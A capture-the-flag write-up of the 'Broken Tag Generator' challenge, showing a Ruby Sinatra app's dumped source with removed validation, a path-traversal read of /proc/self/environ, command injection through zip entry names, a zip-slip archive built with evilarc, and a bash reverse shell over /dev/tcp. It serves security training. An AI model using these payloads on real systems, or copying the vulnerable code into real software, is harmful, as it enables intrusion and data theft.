Objective 8: Broken Tag Generator

Help Noel Boetie fix the Tag Generator in the Wrapping Room. What value is in the environment variable GREETZ? Talk to Holly Evergreen in the kitchen for help with this.

This objective was a more in-depth web application pen test that I was able to obtain a shell on. What's more is that I could solve the entire challenge with a single GET request. But that's no fun, and getting a shell is significantly more fun, so I'll run through both!

First, the site in question:

The Site

Poking around this site was aided by the usage of Burp Suite Pro. It helped me see points of user input that I could abuse, and the first thing I did to notice anything was generate a 404:

404

We have data leakage showing a full path to the application. I also know that this is a Ruby application, presumably Ruby on Rails as I would assume, but later found out it was another web app framework called Sinatra, which is a framework designed to be lightweight.

Beside the point, there's still more poking to do!

After looking around, I discovered a page that dynamically displayed an image based on a URL GET parameter. Messing with that parameter proved that I was able to obtain a local file inclusion exploit, as evidenced by the following:

LFI Proof

So with an LFI...

The simple solution: Get environment variables

All I need is the content of the environment variable GREETZ, and I had proven that an LFI is possible, so can't I just access /proc/self/environ?

The answer is yes. By accessing image?id=../../../proc/self/environ I am given:

/proc/self/environ

Fun note: I copied the screenshot of the above because for some reason Kali would refuse to copy-paste anything past the final "/bin" string. I'm assuming that that's because it's null-terminated since it's the current running environment variables, and most lower-level applications will terminate on null bytes, so it just refused to copy the raw bytes beyond that. Screenshot is the only way I was able to capture the output without having to sanitize the raw data. Interesting.

Now it shows it right there: The contents of the GREETZ variable is "JackFrostWasHere". Okay cool, but we have to go deeper. More like...we have to find code execution. For science!

The better solution: PWN

Since I knew the absolute value of the main ruby app running the site, I dumped the source code by looking at image?id=../../../app/lib/app.rb:

# encoding: ASCII-8BIT

TMP_FOLDER = '/tmp'
FINAL_FOLDER = '/tmp'

# Don't put the uploads in the application folder
Dir.chdir TMP_FOLDER

require 'rubygems'

require 'json'
require 'sinatra'
require 'sinatra/base'
require 'singlogger'
require 'securerandom'

require 'zip'
require 'sinatra/cookies'
require 'cgi'

require 'digest/sha1'

LOGGER = ::SingLogger.instance()

MAX_SIZE = 1024**2*5 # 5mb

# Manually escaping is annoying, but Sinatra is lightweight and doesn't have
# stuff like this built in :(
def h(html)
  CGI.escapeHTML html
end

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

  return out_files
end

def handle_image(filename)
  out_filename = "#{ SecureRandom.uuid }#{File.extname(filename).downcase}"
  out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

  # Return just the filename - we can figure that out later
  return out_filename
end

def process_file(filename)
  out_files = []

  if filename.downcase.end_with?('zip')
    # Append the list returned by handle_zip
    out_files += handle_zip(filename)
  elsif filename.downcase.end_with?('jpg') || filename.downcase.end_with?('jpeg') || filename.downcase.end_with?('png')
    # Append the name returned by handle_image
    out_files << handle_image(filename)
  else
    raise "Unsupported file type: #{ filename }"
  end

  return out_files
end

def process_files(files)
  return files.map { |f| process_file(f) }.flatten()
end

module TagGenerator
  class Server < Sinatra::Base
    helpers Sinatra::Cookies

    def initialize(*args)
      super(*args)
    end

    configure do
      if(defined?(PARAMS))
        set :port, PARAMS[:port]
        set :bind, PARAMS[:host]
      end

      set :raise_errors, false
      set :show_exceptions, false
    end

    error do
      return 501, erb(:error, :locals => { message: "Error in #{ __FILE__ }: #{ h(env['sinatra.error'].message) }" })
    end

    not_found do
      return 404, erb(:error, :locals => { message: "Error in #{ __FILE__ }: Route not found" })
    end

    get '/' do
      erb(:index)
    end

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

    get '/clear' do
      cookies.delete(:images)

      redirect '/'
    end

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

    get '/share' do
      if !params['id']
        raise 'ID is missing!'
      end

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }.png"

      if File.exists?(filename)
        erb(:share, :locals => { id: params['id'] })
      else
        return 404, "Image not found!"
      end
    end

    post '/save' do
      payload = params
      payload = JSON.parse(request.body.read)

      data_url = payload['dataURL']
      png = Base64.decode64(data_url['data:image/png;base64,'.length .. -1])

      out_hash = Digest::SHA1.hexdigest png
      out_filename = "#{ out_hash }.png"
      out_path = "#{ FINAL_FOLDER }/#{ out_filename }"

      LOGGER.debug("output: #{out_path}")
      File.open(out_path, 'wb') { |f| f.write(png) }
      { id: out_hash }.to_json
    end
  end
end

So...a few things to note from the above. First, it's using a really small-footprint web app framework called Sinatra. Second, Jack Frost was all over this code, commenting out pretty good things to make the app much less secure. This gives me an area to focus on: Some of the content validation functions have been removed, so what can I do to accomplish anything?

First, looking at Jack's first comment:

def handle_zip(filename)
  LOGGER.debug("Processing #{ filename } as a zip")
  out_files = []

  Zip::File.open(filename) do |zip_file|
    # Handle entries one by one
    zip_file.each do |entry|
      LOGGER.debug("Extracting #{entry.name}")

      if entry.size > MAX_SIZE
        raise 'File too large when extracted'
      end

      if entry.name().end_with?('zip')
        raise 'Nested zip files are not supported!'
      end

      # I wonder what this will do? --Jack
      # if entry.name !~ /^[a-zA-Z0-9._-]+$/
      #   raise 'Invalid filename! Filenames may contain letters, numbers, period, underscore, and hyphen'
      # end

      # We want to extract into TMP_FOLDER
      out_file = "#{ TMP_FOLDER }/#{ entry.name }"

      # Extract to file or directory based on name in the archive
      entry.extract(out_file) {
        # If the file exists, simply overwrite
        true
      }

      # Process it
      out_files << process_file(out_file)
    end
  end

I see two obvious things: Jack removed filename validation and lets you add whatever you want, and this weird app has...zip file handling? That seems awfully random, but based on the above a potential way forward is to add some malicious code into a filename inside of a zip? Weird.

Next oddity:

    get '/image' do
      if !params['id']
        raise 'ID is missing!'
      end

      # Validation is boring! --Jack
      # if params['id'] !~ /^[a-zA-Z0-9._-]+$/
      #   return 400, 'Invalid id! id may contain letters, numbers, period, underscore, and hyphen'
      # end

      content_type 'image/jpeg'

      filename = "#{ FINAL_FOLDER }/#{ params['id'] }"

      if File.exists?(filename)
        return File.read(filename)
      else
        return 404, "Image not found!"
      end
    end

More of Jack removing filename validation. This one I already knew about though, it allows me to perform the aforementioned LFI since I can add special characters like dots (.) and slashes (/), combined to create a directory traversal.

Finally, one last interesting bit of code:

  # Resize and compress in the background
  Thread.new do
    if !system("convert -resize 800x600\\> -quality 75 '#{ filename }' '#{ out_path }'")
      LOGGER.error("Something went wrong with file conversion: #{ filename }")
    else
      LOGGER.debug("File successfully converted: #{ filename }")
    end
  end

Check it out, a direct system call with a variable under user control! So if I can add special characters to the filename such as ;, & or $(whoami), I can potentially execute command injection!

So to review, Jack removed filename validation in two places, the first being the image file inclusion point, allowing me to access files in other directories, the second being inside the zip handling function. Try as I might, I simply cannot do something like this:

No go

Sadly, simply trying to change the filename during the initial post to a command injection that looked like this: a;ping -c 1 <my-ip> #.jpg would fail, and that was most likely because of this line of ruby here that handled the post data:

    post '/upload' do
      images = []
      images += process_files(params['my_file'].map { |p| p['tempfile'].path })
      images.sort!()
      images.uniq!()

      content_type :json
      images.to_json
    end

Looks like it creates a temp file to work with, ignoring my filename. Well, looks like I'll have to concentrate on manipulating a zip file!

Since the code looks like it doesn't manipulate the filenames, I can probably upload a junk zip file and manipulate the raw data in transit...as long as I pad the filename with enough characters to send commands back on and don't change the size of the filename itself, I think I can probably obtain code execution by way of a command injection. Let's try it!

Using a simple ping command, let's see if I can get the remote server to execute something...

Successful Code Execution!

Successful ping back!

Now, if I wanted to get a shell, it required a little bit of finesse, since just issuing a reverse shell was met with a few complications, namely dealing with special characters required to redirect STDIN and STDOUT:

Failure

Nuts. Well, some googling brought up a vulnerability with the Ruby zip module, so maybe I could use zip slip to add a script to some arbitrary place on the remote end, then simply execute it. First, I'll write up a quick bash script that features a reverse shell, and name it pwn.jpg (since it does check for image filenames and will act on them accordingly):

#!/bin/bash
/bin/bash -i >& /dev/tcp/my_ip_address/9090 0>&1

Then I'll use evilarc to create a zip file that will drop the pwn.jpg file into something like /tmp/pwn.jpg:

┌─[agr0@spicytaco]─[~/Documents/HHC/what]
└──╼ $ python /opt/evilarc/evilarc.py -o unix -p tmp ./pwn.jpg 
Creating evil.zip containing ../../../../../../../../tmp/pwn.jpg

Then I uploaded it as normal. Since the images were stored in /tmp anyway as shown in the source code, I simply tried to execute bash pwn.jpg, and...

Pwn3d

Shell! Pwn3d!

I can simply read the environment variable by executing env. The value is JackFrostWasHere!